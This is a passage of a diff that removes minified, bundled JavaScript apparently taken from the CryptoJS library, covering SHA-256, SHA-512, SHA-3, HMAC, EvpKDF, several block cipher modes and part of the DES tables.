- y = (p << 25 | p >>> 7) ^ (p << 14 | p >>> 18) ^ p >>> 3,
- g = u[f - 2],
- m = (g << 15 | g >>> 17) ^ (g << 13 | g >>> 19) ^ g >>> 10;
- u[f] = y + u[f - 7] + m + u[f - 16]
- }
- var v = o & n ^ o & i ^ n & i,
- b = (o << 30 | o >>> 2) ^ (o << 19 | o >>> 13) ^ (o << 10 | o >>> 22),
- w = d + ((a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25)) + (a & l ^ ~a & h) + c[f] + u[f];
- d = h, h = l, l = a, a = s + w | 0, s = i, i = n, n = o, o = w + (b + v) | 0
- }
- r[0] = r[0] + o | 0, r[1] = r[1] + n | 0, r[2] = r[2] + i | 0, r[3] = r[3] + s | 0, r[4] = r[4] + a | 0, r[5] = r[5] + l | 0, r[6] = r[6] + h | 0, r[7] = r[7] + d | 0
- },
- _doFinalize: function() {
- var e = this._data,
- r = e.words,
- o = 8 * this._nDataBytes,
- n = 8 * e.sigBytes;
- return r[n >>> 5] |= 128 << 24 - n % 32, r[14 + (n + 64 >>> 9 << 4)] = t.floor(o / 4294967296), r[15 + (n + 64 >>> 9 << 4)] = o, e.sigBytes = 4 * r.length, this._process(), this._hash
- },
- clone: function() {
- var e = i.clone.call(this);
- return e._hash = this._hash.clone(), e
- }
- });
- r.SHA256 = i._createHelper(l), r.HmacSHA256 = i._createHmacHelper(l)
- }(Math), e.SHA256
- }(v())), O.exports
-}
-var q, U = {
- exports: {}
-};
-var W, J = {
- exports: {}
-};
-
-function X() {
- return W || (W = 1, J.exports = function(e) {
- return function() {
- var t = e,
- r = t.lib.Hasher,
- o = t.x64,
- n = o.Word,
- i = o.WordArray,
- s = t.algo;
-
- function a() {
- return n.create.apply(n, arguments)
- }
- var c = [a(1116352408, 3609767458), a(1899447441, 602891725), a(3049323471, 3964484399), a(3921009573, 2173295548), a(961987163, 4081628472), a(1508970993, 3053834265), a(2453635748, 2937671579), a(2870763221, 3664609560), a(3624381080, 2734883394), a(310598401, 1164996542), a(607225278, 1323610764), a(1426881987, 3590304994), a(1925078388, 4068182383), a(2162078206, 991336113), a(2614888103, 633803317), a(3248222580, 3479774868), a(3835390401, 2666613458), a(4022224774, 944711139), a(264347078, 2341262773), a(604807628, 2007800933), a(770255983, 1495990901), a(1249150122, 1856431235), a(1555081692, 3175218132), a(1996064986, 2198950837), a(2554220882, 3999719339), a(2821834349, 766784016), a(2952996808, 2566594879), a(3210313671, 3203337956), a(3336571891, 1034457026), a(3584528711, 2466948901), a(113926993, 3758326383), a(338241895, 168717936), a(666307205, 1188179964), a(773529912, 1546045734), a(1294757372, 1522805485), a(1396182291, 2643833823), a(1695183700, 2343527390), a(1986661051, 1014477480), a(2177026350, 1206759142), a(2456956037, 344077627), a(2730485921, 1290863460), a(2820302411, 3158454273), a(3259730800, 3505952657), a(3345764771, 106217008), a(3516065817, 3606008344), a(3600352804, 1432725776), a(4094571909, 1467031594), a(275423344, 851169720), a(430227734, 3100823752), a(506948616, 1363258195), a(659060556, 3750685593), a(883997877, 3785050280), a(958139571, 3318307427), a(1322822218, 3812723403), a(1537002063, 2003034995), a(1747873779, 3602036899), a(1955562222, 1575990012), a(2024104815, 1125592928), a(2227730452, 2716904306), a(2361852424, 442776044), a(2428436474, 593698344), a(2756734187, 3733110249), a(3204031479, 2999351573), a(3329325298, 3815920427), a(3391569614, 3928383900), a(3515267271, 566280711), a(3940187606, 3454069534), a(4118630271, 4000239992), a(116418474, 1914138554), a(174292421, 2731055270), a(289380356, 3203993006), a(460393269, 320620315), a(685471733, 587496836), a(852142971, 1086792851), a(1017036298, 365543100), a(1126000580, 2618297676), a(1288033470, 3409855158), a(1501505948, 4234509866), a(1607167915, 987167468), a(1816402316, 1246189591)],
- u = [];
- ! function() {
- for (var e = 0; e < 80; e++) u[e] = a()
- }();
- var l = s.SHA512 = r.extend({
- _doReset: function() {
- this._hash = new i.init([new n.init(1779033703, 4089235720), new n.init(3144134277, 2227873595), new n.init(1013904242, 4271175723), new n.init(2773480762, 1595750129), new n.init(1359893119, 2917565137), new n.init(2600822924, 725511199), new n.init(528734635, 4215389547), new n.init(1541459225, 327033209)])
- },
- _doProcessBlock: function(e, t) {
- for (var r = this._hash.words, o = r[0], n = r[1], i = r[2], s = r[3], a = r[4], l = r[5], h = r[6], d = r[7], f = o.high, p = o.low, y = n.high, g = n.low, m = i.high, v = i.low, b = s.high, w = s.low, k = a.high, _ = a.low, x = l.high, S = l.low, B = h.high, A = h.low, T = d.high, C = d.low, E = f, $ = p, R = y, z = g, D = m, H = v, M = b, j = w, I = k, F = _, N = x, P = S, O = B, L = A, q = T, U = C, W = 0; W < 80; W++) {
- var J, X, K = u[W];
- if (W < 16) X = K.high = 0 | e[t + 2 * W], J = K.low = 0 | e[t + 2 * W + 1];
- else {
- var V = u[W - 15],
- G = V.high,
- Q = V.low,
- Z = (G >>> 1 | Q << 31) ^ (G >>> 8 | Q << 24) ^ G >>> 7,
- Y = (Q >>> 1 | G << 31) ^ (Q >>> 8 | G << 24) ^ (Q >>> 7 | G << 25),
- ee = u[W - 2],
- te = ee.high,
- re = ee.low,
- oe = (te >>> 19 | re << 13) ^ (te << 3 | re >>> 29) ^ te >>> 6,
- ne = (re >>> 19 | te << 13) ^ (re << 3 | te >>> 29) ^ (re >>> 6 | te << 26),
- ie = u[W - 7],
- se = ie.high,
- ae = ie.low,
- ce = u[W - 16],
- ue = ce.high,
- le = ce.low;
- X = (X = (X = Z + se + ((J = Y + ae) >>> 0 < Y >>> 0 ? 1 : 0)) + oe + ((J += ne) >>> 0 < ne >>> 0 ? 1 : 0)) + ue + ((J += le) >>> 0 < le >>> 0 ? 1 : 0), K.high = X, K.low = J
- }
- var he, de = I & N ^ ~I & O,
- fe = F & P ^ ~F & L,
- pe = E & R ^ E & D ^ R & D,
- ye = $ & z ^ $ & H ^ z & H,
- ge = (E >>> 28 | $ << 4) ^ (E << 30 | $ >>> 2) ^ (E << 25 | $ >>> 7),
- me = ($ >>> 28 | E << 4) ^ ($ << 30 | E >>> 2) ^ ($ << 25 | E >>> 7),
- ve = (I >>> 14 | F << 18) ^ (I >>> 18 | F << 14) ^ (I << 23 | F >>> 9),
- be = (F >>> 14 | I << 18) ^ (F >>> 18 | I << 14) ^ (F << 23 | I >>> 9),
- we = c[W],
- ke = we.high,
- _e = we.low,
- xe = q + ve + ((he = U + be) >>> 0 < U >>> 0 ? 1 : 0),
- Se = me + ye;
- q = O, U = L, O = N, L = P, N = I, P = F, I = M + (xe = (xe = (xe = xe + de + ((he += fe) >>> 0 < fe >>> 0 ? 1 : 0)) + ke + ((he += _e) >>> 0 < _e >>> 0 ? 1 : 0)) + X + ((he += J) >>> 0 < J >>> 0 ? 1 : 0)) + ((F = j + he | 0) >>> 0 < j >>> 0 ? 1 : 0) | 0, M = D, j = H, D = R, H = z, R = E, z = $, E = xe + (ge + pe + (Se >>> 0 < me >>> 0 ? 1 : 0)) + (($ = he + Se | 0) >>> 0 < he >>> 0 ? 1 : 0) | 0
- }
- p = o.low = p + $, o.high = f + E + (p >>> 0 < $ >>> 0 ? 1 : 0), g = n.low = g + z, n.high = y + R + (g >>> 0 < z >>> 0 ? 1 : 0), v = i.low = v + H, i.high = m + D + (v >>> 0 < H >>> 0 ? 1 : 0), w = s.low = w + j, s.high = b + M + (w >>> 0 < j >>> 0 ? 1 : 0), _ = a.low = _ + F, a.high = k + I + (_ >>> 0 < F >>> 0 ? 1 : 0), S = l.low = S + P, l.high = x + N + (S >>> 0 < P >>> 0 ? 1 : 0), A = h.low = A + L, h.high = B + O + (A >>> 0 < L >>> 0 ? 1 : 0), C = d.low = C + U, d.high = T + q + (C >>> 0 < U >>> 0 ? 1 : 0)
- },
- _doFinalize: function() {
- var e = this._data,
- t = e.words,
- r = 8 * this._nDataBytes,
- o = 8 * e.sigBytes;
- return t[o >>> 5] |= 128 << 24 - o % 32, t[30 + (o + 128 >>> 10 << 5)] = Math.floor(r / 4294967296), t[31 + (o + 128 >>> 10 << 5)] = r, e.sigBytes = 4 * t.length, this._process(), this._hash.toX32()
- },
- clone: function() {
- var e = r.clone.call(this);
- return e._hash = this._hash.clone(), e
- },
- blockSize: 32
- });
- t.SHA512 = r._createHelper(l), t.HmacSHA512 = r._createHmacHelper(l)
- }(), e.SHA512
- }(v(), k())), J.exports
-}
-var K, V = {
- exports: {}
-};
-var G, Q = {
- exports: {}
-};
-
-function Z() {
- return G || (G = 1, Q.exports = function(e) {
- return function(t) {
- var r = e,
- o = r.lib,
- n = o.WordArray,
- i = o.Hasher,
- s = r.x64.Word,
- a = r.algo,
- c = [],
- u = [],
- l = [];
- ! function() {
- for (var e = 1, t = 0, r = 0; r < 24; r++) {
- c[e + 5 * t] = (r + 1) * (r + 2) / 2 % 64;
- var o = (2 * e + 3 * t) % 5;
- e = t % 5, t = o
- }
- for (e = 0; e < 5; e++)
- for (t = 0; t < 5; t++) u[e + 5 * t] = t + (2 * e + 3 * t) % 5 * 5;
- for (var n = 1, i = 0; i < 24; i++) {
- for (var a = 0, h = 0, d = 0; d < 7; d++) {
- if (1 & n) {
- var f = (1 << d) - 1;
- f < 32 ? h ^= 1 << f : a ^= 1 << f - 32
- }
- 128 & n ? n = n << 1 ^ 113 : n <<= 1
- }
- l[i] = s.create(a, h)
- }
- }();
- var h = [];
- ! function() {
- for (var e = 0; e < 25; e++) h[e] = s.create()
- }();
- var d = a.SHA3 = i.extend({
- cfg: i.cfg.extend({
- outputLength: 512
- }),
- _doReset: function() {
- for (var e = this._state = [], t = 0; t < 25; t++) e[t] = new s.init;
- this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32
- },
- _doProcessBlock: function(e, t) {
- for (var r = this._state, o = this.blockSize / 2, n = 0; n < o; n++) {
- var i = e[t + 2 * n],
- s = e[t + 2 * n + 1];
- i = 16711935 & (i << 8 | i >>> 24) | 4278255360 & (i << 24 | i >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), (C = r[n]).high ^= s, C.low ^= i
- }
- for (var a = 0; a < 24; a++) {
- for (var d = 0; d < 5; d++) {
- for (var f = 0, p = 0, y = 0; y < 5; y++) f ^= (C = r[d + 5 * y]).high, p ^= C.low;
- var g = h[d];
- g.high = f, g.low = p
- }
- for (d = 0; d < 5; d++) {
- var m = h[(d + 4) % 5],
- v = h[(d + 1) % 5],
- b = v.high,
- w = v.low;
- for (f = m.high ^ (b << 1 | w >>> 31), p = m.low ^ (w << 1 | b >>> 31), y = 0; y < 5; y++)(C = r[d + 5 * y]).high ^= f, C.low ^= p
- }
- for (var k = 1; k < 25; k++) {
- var _ = (C = r[k]).high,
- x = C.low,
- S = c[k];
- S < 32 ? (f = _ << S | x >>> 32 - S, p = x << S | _ >>> 32 - S) : (f = x << S - 32 | _ >>> 64 - S, p = _ << S - 32 | x >>> 64 - S);
- var B = h[u[k]];
- B.high = f, B.low = p
- }
- var A = h[0],
- T = r[0];
- for (A.high = T.high, A.low = T.low, d = 0; d < 5; d++)
- for (y = 0; y < 5; y++) {
- var C = r[k = d + 5 * y],
- E = h[k],
- $ = h[(d + 1) % 5 + 5 * y],
- R = h[(d + 2) % 5 + 5 * y];
- C.high = E.high ^ ~$.high & R.high, C.low = E.low ^ ~$.low & R.low
- }
- C = r[0];
- var z = l[a];
- C.high ^= z.high, C.low ^= z.low
- }
- },
- _doFinalize: function() {
- var e = this._data,
- r = e.words;
- this._nDataBytes;
- var o = 8 * e.sigBytes,
- i = 32 * this.blockSize;
- r[o >>> 5] |= 1 << 24 - o % 32, r[(t.ceil((o + 1) / i) * i >>> 5) - 1] |= 128, e.sigBytes = 4 * r.length, this._process();
- for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, u = [], l = 0; l < c; l++) {
- var h = s[l],
- d = h.high,
- f = h.low;
- d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), f = 16711935 & (f << 8 | f >>> 24) | 4278255360 & (f << 24 | f >>> 8), u.push(f), u.push(d)
- }
- return new n.init(u, a)
- },
- clone: function() {
- for (var e = i.clone.call(this), t = e._state = this._state.slice(0), r = 0; r < 25; r++) t[r] = t[r].clone();
- return e
- }
- });
- r.SHA3 = i._createHelper(d), r.HmacSHA3 = i._createHmacHelper(d)
- }(Math), e.SHA3
- }(v(), k())), Q.exports
-}
-var Y, ee = {
- exports: {}
-};
-var te, re = {
- exports: {}
-};
-
-function oe() {
- return te || (te = 1, re.exports = function(e) {
- var t, r, o;
- r = (t = e).lib.Base, o = t.enc.Utf8, t.algo.HMAC = r.extend({
- init: function(e, t) {
- e = this._hasher = new e.init, "string" == typeof t && (t = o.parse(t));
- var r = e.blockSize,
- n = 4 * r;
- t.sigBytes > n && (t = e.finalize(t)), t.clamp();
- for (var i = this._oKey = t.clone(), s = this._iKey = t.clone(), a = i.words, c = s.words, u = 0; u < r; u++) a[u] ^= 1549556828, c[u] ^= 909522486;
- i.sigBytes = s.sigBytes = n, this.reset()
- },
- reset: function() {
- var e = this._hasher;
- e.reset(), e.update(this._iKey)
- },
- update: function(e) {
- return this._hasher.update(e), this
- },
- finalize: function(e) {
- var t = this._hasher,
- r = t.finalize(e);
- return t.reset(), t.finalize(this._oKey.clone().concat(r))
- }
- })
- }(v())), re.exports
-}
-var ne, ie = {
- exports: {}
-};
-var se, ae = {
- exports: {}
-};
-
-function ce() {
- return se || (se = 1, ae.exports = function(e) {
- return r = (t = e).lib, o = r.Base, n = r.WordArray, i = t.algo, s = i.MD5, a = i.EvpKDF = o.extend({
- cfg: o.extend({
- keySize: 4,
- hasher: s,
- iterations: 1
- }),
- init: function(e) {
- this.cfg = this.cfg.extend(e)
- },
- compute: function(e, t) {
- for (var r, o = this.cfg, i = o.hasher.create(), s = n.create(), a = s.words, c = o.keySize, u = o.iterations; a.length < c;) {
- r && i.update(r), r = i.update(e).finalize(t), i.reset();
- for (var l = 1; l < u; l++) r = i.finalize(r), i.reset();
- s.concat(r)
- }
- return s.sigBytes = 4 * c, s
- }
- }), t.EvpKDF = function(e, t, r) {
- return a.create(r).compute(e, t)
- }, e.EvpKDF;
- var t, r, o, n, i, s, a
- }(v(), N(), oe())), ae.exports
-}
-var ue, le = {
- exports: {}
-};
-
-function he() {
- return ue || (ue = 1, le.exports = function(e) {
- e.lib.Cipher || function(t) {
- var r = e,
- o = r.lib,
- n = o.Base,
- i = o.WordArray,
- s = o.BufferedBlockAlgorithm,
- a = r.enc;
- a.Utf8;
- var c = a.Base64,
- u = r.algo.EvpKDF,
- l = o.Cipher = s.extend({
- cfg: n.extend(),
- createEncryptor: function(e, t) {
- return this.create(this._ENC_XFORM_MODE, e, t)
- },
- createDecryptor: function(e, t) {
- return this.create(this._DEC_XFORM_MODE, e, t)
- },
- init: function(e, t, r) {
- this.cfg = this.cfg.extend(r), this._xformMode = e, this._key = t, this.reset()
- },
- reset: function() {
- s.reset.call(this), this._doReset()
- },
- process: function(e) {
- return this._append(e), this._process()
- },
- finalize: function(e) {
- return e && this._append(e), this._doFinalize()
- },
- keySize: 4,
- ivSize: 4,
- _ENC_XFORM_MODE: 1,
- _DEC_XFORM_MODE: 2,
- _createHelper: function() {
- function e(e) {
- return "string" == typeof e ? b : m
- }
- return function(t) {
- return {
- encrypt: function(r, o, n) {
- return e(o).encrypt(t, r, o, n)
- },
- decrypt: function(r, o, n) {
- return e(o).decrypt(t, r, o, n)
- }
- }
- }
- }()
- });
- o.StreamCipher = l.extend({
- _doFinalize: function() {
- return this._process(!0)
- },
- blockSize: 1
- });
- var h = r.mode = {},
- d = o.BlockCipherMode = n.extend({
- createEncryptor: function(e, t) {
- return this.Encryptor.create(e, t)
- },
- createDecryptor: function(e, t) {
- return this.Decryptor.create(e, t)
- },
- init: function(e, t) {
- this._cipher = e, this._iv = t
- }
- }),
- f = h.CBC = function() {
- var e = d.extend();
-
- function r(e, r, o) {
- var n, i = this._iv;
- i ? (n = i, this._iv = t) : n = this._prevBlock;
- for (var s = 0; s < o; s++) e[r + s] ^= n[s]
- }
- return e.Encryptor = e.extend({
- processBlock: function(e, t) {
- var o = this._cipher,
- n = o.blockSize;
- r.call(this, e, t, n), o.encryptBlock(e, t), this._prevBlock = e.slice(t, t + n)
- }
- }), e.Decryptor = e.extend({
- processBlock: function(e, t) {
- var o = this._cipher,
- n = o.blockSize,
- i = e.slice(t, t + n);
- o.decryptBlock(e, t), r.call(this, e, t, n), this._prevBlock = i
- }
- }), e
- }(),
- p = (r.pad = {}).Pkcs7 = {
- pad: function(e, t) {
- for (var r = 4 * t, o = r - e.sigBytes % r, n = o << 24 | o << 16 | o << 8 | o, s = [], a = 0; a < o; a += 4) s.push(n);
- var c = i.create(s, o);
- e.concat(c)
- },
- unpad: function(e) {
- var t = 255 & e.words[e.sigBytes - 1 >>> 2];
- e.sigBytes -= t
- }
- };
- o.BlockCipher = l.extend({
- cfg: l.cfg.extend({
- mode: f,
- padding: p
- }),
- reset: function() {
- var e;
- l.reset.call(this);
- var t = this.cfg,
- r = t.iv,
- o = t.mode;
- this._xformMode == this._ENC_XFORM_MODE ? e = o.createEncryptor : (e = o.createDecryptor, this._minBufferSize = 1), this._mode && this._mode.__creator == e ? this._mode.init(this, r && r.words) : (this._mode = e.call(o, this, r && r.words), this._mode.__creator = e)
- },
- _doProcessBlock: function(e, t) {
- this._mode.processBlock(e, t)
- },
- _doFinalize: function() {
- var e, t = this.cfg.padding;
- return this._xformMode == this._ENC_XFORM_MODE ? (t.pad(this._data, this.blockSize), e = this._process(!0)) : (e = this._process(!0), t.unpad(e)), e
- },
- blockSize: 4
- });
- var y = o.CipherParams = n.extend({
- init: function(e) {
- this.mixIn(e)
- },
- toString: function(e) {
- return (e || this.formatter).stringify(this)
- }
- }),
- g = (r.format = {}).OpenSSL = {
- stringify: function(e) {
- var t = e.ciphertext,
- r = e.salt;
- return (r ? i.create([1398893684, 1701076831]).concat(r).concat(t) : t).toString(c)
- },
- parse: function(e) {
- var t, r = c.parse(e),
- o = r.words;
- return 1398893684 == o[0] && 1701076831 == o[1] && (t = i.create(o.slice(2, 4)), o.splice(0, 4), r.sigBytes -= 16), y.create({
- ciphertext: r,
- salt: t
- })
- }
- },
- m = o.SerializableCipher = n.extend({
- cfg: n.extend({
- format: g
- }),
- encrypt: function(e, t, r, o) {
- o = this.cfg.extend(o);
- var n = e.createEncryptor(r, o),
- i = n.finalize(t),
- s = n.cfg;
- return y.create({
- ciphertext: i,
- key: r,
- iv: s.iv,
- algorithm: e,
- mode: s.mode,
- padding: s.padding,
- blockSize: e.blockSize,
- formatter: o.format
- })
- },
- decrypt: function(e, t, r, o) {
- return o = this.cfg.extend(o), t = this._parse(t, o.format), e.createDecryptor(r, o).finalize(t.ciphertext)
- },
- _parse: function(e, t) {
- return "string" == typeof e ? t.parse(e, this) : e
- }
- }),
- v = (r.kdf = {}).OpenSSL = {
- execute: function(e, t, r, o, n) {
- if (o || (o = i.random(8)), n) s = u.create({
- keySize: t + r,
- hasher: n
- }).compute(e, o);
- else var s = u.create({
- keySize: t + r
- }).compute(e, o);
- var a = i.create(s.words.slice(t), 4 * r);
- return s.sigBytes = 4 * t, y.create({
- key: s,
- iv: a,
- salt: o
- })
- }
- },
- b = o.PasswordBasedCipher = m.extend({
- cfg: m.cfg.extend({
- kdf: v
- }),
- encrypt: function(e, t, r, o) {
- var n = (o = this.cfg.extend(o)).kdf.execute(r, e.keySize, e.ivSize, o.salt, o.hasher);
- o.iv = n.iv;
- var i = m.encrypt.call(this, e, t, n.key, o);
- return i.mixIn(n), i
- },
- decrypt: function(e, t, r, o) {
- o = this.cfg.extend(o), t = this._parse(t, o.format);
- var n = o.kdf.execute(r, e.keySize, e.ivSize, t.salt, o.hasher);
- return o.iv = n.iv, m.decrypt.call(this, e, t, n.key, o)
- }
- })
- }()
- }(v(), ce())), le.exports
-}
-var de, fe = {
- exports: {}
-};
-
-function pe() {
- return de || (de = 1, fe.exports = function(e) {
- return e.mode.CFB = function() {
- var t = e.lib.BlockCipherMode.extend();
-
- function r(e, t, r, o) {
- var n, i = this._iv;
- i ? (n = i.slice(0), this._iv = void 0) : n = this._prevBlock, o.encryptBlock(n, 0);
- for (var s = 0; s < r; s++) e[t + s] ^= n[s]
- }
- return t.Encryptor = t.extend({
- processBlock: function(e, t) {
- var o = this._cipher,
- n = o.blockSize;
- r.call(this, e, t, n, o), this._prevBlock = e.slice(t, t + n)
- }
- }), t.Decryptor = t.extend({
- processBlock: function(e, t) {
- var o = this._cipher,
- n = o.blockSize,
- i = e.slice(t, t + n);
- r.call(this, e, t, n, o), this._prevBlock = i
- }
- }), t
- }(), e.mode.CFB
- }(v(), he())), fe.exports
-}
-var ye, ge = {
- exports: {}
-};
-
-function me() {
- return ye || (ye = 1, ge.exports = function(e) {
- return e.mode.CTR = (t = e.lib.BlockCipherMode.extend(), r = t.Encryptor = t.extend({
- processBlock: function(e, t) {
- var r = this._cipher,
- o = r.blockSize,
- n = this._iv,
- i = this._counter;
- n && (i = this._counter = n.slice(0), this._iv = void 0);
- var s = i.slice(0);
- r.encryptBlock(s, 0), i[o - 1] = i[o - 1] + 1 | 0;
- for (var a = 0; a < o; a++) e[t + a] ^= s[a]
- }
- }), t.Decryptor = r, t), e.mode.CTR;
- var t, r
- }(v(), he())), ge.exports
-}
-var ve, be = {
- exports: {}
-};
-
-function we() {
- return ve || (ve = 1, be.exports = function(e) {
- /** @preserve
- * Counter block mode compatible with Dr Brian Gladman fileenc.c
- * derived from CryptoJS.mode.CTR
- * Jan Hruby jhruby.web@gmail.com
- */
- return e.mode.CTRGladman = function() {
- var t = e.lib.BlockCipherMode.extend();
-
- function r(e) {
- if (255 & ~(e >> 24)) e += 1 << 24;
- else {
- var t = e >> 16 & 255,
- r = e >> 8 & 255,
- o = 255 & e;
- 255 === t ? (t = 0, 255 === r ? (r = 0, 255 === o ? o = 0 : ++o) : ++r) : ++t, e = 0, e += t << 16, e += r << 8, e += o
- }
- return e
- }
-
- function o(e) {
- return 0 === (e[0] = r(e[0])) && (e[1] = r(e[1])), e
- }
- var n = t.Encryptor = t.extend({
- processBlock: function(e, t) {
- var r = this._cipher,
- n = r.blockSize,
- i = this._iv,
- s = this._counter;
- i && (s = this._counter = i.slice(0), this._iv = void 0), o(s);
- var a = s.slice(0);
- r.encryptBlock(a, 0);
- for (var c = 0; c < n; c++) e[t + c] ^= a[c]
- }
- });
- return t.Decryptor = n, t
- }(), e.mode.CTRGladman
- }(v(), he())), be.exports
-}
-var ke, _e = {
- exports: {}
-};
-
-function xe() {
- return ke || (ke = 1, _e.exports = function(e) {
- return e.mode.OFB = (t = e.lib.BlockCipherMode.extend(), r = t.Encryptor = t.extend({
- processBlock: function(e, t) {
- var r = this._cipher,
- o = r.blockSize,
- n = this._iv,
- i = this._keystream;
- n && (i = this._keystream = n.slice(0), this._iv = void 0), r.encryptBlock(i, 0);
- for (var s = 0; s < o; s++) e[t + s] ^= i[s]
- }
- }), t.Decryptor = r, t), e.mode.OFB;
- var t, r
- }(v(), he())), _e.exports
-}
-var Se, Be = {
- exports: {}
-};
-var Ae, Te = {
- exports: {}
-};
-var Ce, Ee = {
- exports: {}
-};
-var $e, Re = {
- exports: {}
-};
-var ze, De = {
- exports: {}
-};
-var He, Me = {
- exports: {}
-};
-var je, Ie = {
- exports: {}
-};
-var Fe, Ne = {
- exports: {}
-};
-var Pe, Oe = {
- exports: {}
-};
-
-function Le() {
- return Pe || (Pe = 1, Oe.exports = function(e) {
- return function() {
- var t = e,
- r = t.lib,
- o = r.WordArray,
- n = r.BlockCipher,
- i = t.algo,
- s = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4],
- a = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32],
- c = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28],
- u = [{
- 0: 8421888,
- 268435456: 32768,
- 536870912: 8421378,
- 805306368: 2,
- 1073741824: 512,
- 1342177280: 8421890,
- 1610612736: 8389122,
- 1879048192: 8388608,
- 2147483648: 514,
- 2415919104: 8389120,
- 2684354560: 33280,
- 2952790016: 8421376,
- 3221225472: 32770,
- 3489660928: 8388610,
- 3758096384: 0,
- 4026531840: 33282,
- 134217728: 0,
- 402653184: 8421890,
- 671088640: 33282,
- 939524096: 32768,
- 1207959552: 8421888,
- 1476395008: 512,
- 1744830464: 8421378,
- 2013265920: 2,
- 2281701376: 8389120,
- 2550136832: 33280,
- 2818572288: 8421376,
- 3087007744: 8389122,
- 3355443200: 8388610,
- 3623878656: 32770,
- 3892314112: 514,
- 4160749568: 8388608,
- 1: 32768,
- 268435457: 2,
- 536870913: 8421888,
- 805306369: 8388608,
- 1073741825: 8421378,
- 1342177281: 33280,
- 1610612737: 512,
- 1879048193: 8389122,
- 2147483649: 8421890,
- 2415919105: 8421376,
- 2684354561: 8388610,
- 2952790017: 33282,
- 3221225473: 514,
- 3489660929: 8389120,
- 3758096385: 32770,
- 4026531841: 0,
- 134217729: 8421890,
- 402653185: 8421376,
- 671088641: 8388608,
- 939524097: 512,
- 1207959553: 32768,
- 1476395009: 8388610,
- 1744830465: 2,
- 2013265921: 33282,
- 2281701377: 32770,
- 2550136833: 8389122,
- 2818572289: 514,
- 3087007745: 8421888,
- 3355443201: 8389120,
- 3623878657: 0,
- 3892314113: 33280,
- 4160749569: 8421378
- }, {
- 0: 1074282512,
- 16777216: 16384,
- 33554432: 524288,
- 50331648: 1074266128,
- 67108864: 1073741840,
- 83886080: 1074282496,
- 100663296: 1073758208,
- 117440512: 16,
- 134217728: 540672,
- 150994944: 1073758224,
- 167772160: 1073741824,
- 184549376: 540688,
- 201326592: 524304,
- 218103808: 0,
- 234881024: 16400,
- 251658240: 1074266112,
- 8388608: 1073758208,
- 25165824: 540688,
- 41943040: 16,
- 58720256: 1073758224,
- 75497472: 1074282512,
- 92274688: 1073741824,
- 109051904: 524288,
- 125829120: 1074266128,
- 142606336: 524304,
- 159383552: 0,
- 176160768: 16384,
- 192937984: 1074266112,
- 209715200: 1073741840,
- 226492416: 540672,
- 243269632: 1074282496,
- 260046848: 16400,
- 268435456: 0,
- 285212672: 1074266128,
- 301989888: 1073758224,
- 318767104: 1074282496,
- 335544320: 1074266112,
- 352321536: 16,
- 369098752: 540688,
- 385875968: 16384,
- 402653184: 16400,
- 419430400: 524288,
- 436207616: 524304,
- 452984832: 1073741840,
- 469762048: 540672,
- 486539264: 1073758208,
- 503316480: 1073741824,
- 520093696: 1074282512,
- 276824064: 540688,
- 293601280: 524288,
- 310378496: 1074266112,
- 327155712: 16384,
- 343932928: 1073758208,
- 360710144: 1074282512,
- 377487360: 16,
- 394264576: 1073741824,
- 411041792: 1074282496,
- 427819008: 1073741840,
- 444596224: 1073758224,
- 461373440: 524304,
- 478150656: 0,
- 494927872: 16400,
- 511705088: 1074266128,
- 528482304: 540672
- }, {
- 0: 260,
- 1048576: 0,
- 2097152: 67109120,
- 3145728: 65796,
- 4194304: 65540,
- 5242880: 67108868,
- 6291456: 67174660,
- 7340032: 67174400,
- 8388608: 67108864,
- 9437184: 67174656,
- 10485760: 65792,
- 11534336: 67174404,
- 12582912: 67109124,
- 13631488: 65536,
- 14680064: 4,
- 15728640: 256,
- 524288: 67174656,
- 1572864: 67174404,
- 2621440: 0,
- 3670016: 67109120,
- 4718592: 67108868,
- 5767168: 65536,
- 6815744: 65540,
- 7864320: 260,
- 8912896: 4,
- 9961472: 256,
- 11010048: 67174400,
- 12058624: 65796,
- 13107200: 65792,
- 14155776: 67109124,
- 15204352: 67174660,
- 16252928: 67108864,
- 16777216: 67174656,
- 17825792: 65540,
- 18874368: 65536,
- 19922944: 67109120,
- 20971520: 256,
- 22020096: 67174660,
- 23068672: 67108868,
- 24117248: 0,
- 25165824: 67109124,
- 26214400: 67108864,
- 27262976: 4,
- 28311552: 65792,
- 29360128: 67174400,
- 30408704: 260,
- 31457280: 65796,
- 32505856: 67174404,
- 17301504: 67108864,
- 18350080: 260,
- 19398656: 67174656,
- 20447232: 0,
- 21495808: 65540,
- 22544384: 67109120,
- 23592960: 256,
- 24641536: 67174404,
- 25690112: 65536,
- 26738688: 67174660,
- 27787264: 65796,
- 28835840: 67108868,
- 29884416: 67109124,
- 30932992: 67174400,
- 31981568: 4,
- 33030144: 65792
- }, {
- 0: 2151682048,
- 65536: 2147487808,
- 131072: 4198464,
- 196608: 2151677952,
- 262144: 0,
- 327680: 4198400,
- 393216: 2147483712,
- 458752: 4194368,
- 524288: 2147483648,
- 589824: 4194304,
- 655360: 64,
- 720896: 2147487744,
- 786432: 2151678016,
- 851968: 4160,
- 917504: 4096,
- 983040: 2151682112,
- 32768: 2147487808,
- 98304: 64,
- 163840: 2151678016,
- 229376: 2147487744,
- 294912: 4198400,
- 360448: 2151682112,
- 425984: 0,
- 491520: 2151677952,
- 557056: 4096,
- 622592: 2151682048,
- 688128: 4194304,
- 753664: 4160,
- 819200: 2147483648,
- 884736: 4194368,
- 950272: 4198464,
- 1015808: 2147483712,
- 1048576: 4194368,
- 1114112: 4198400,
- 1179648: 2147483712,
- 1245184: 0,
- 1310720: 4160,
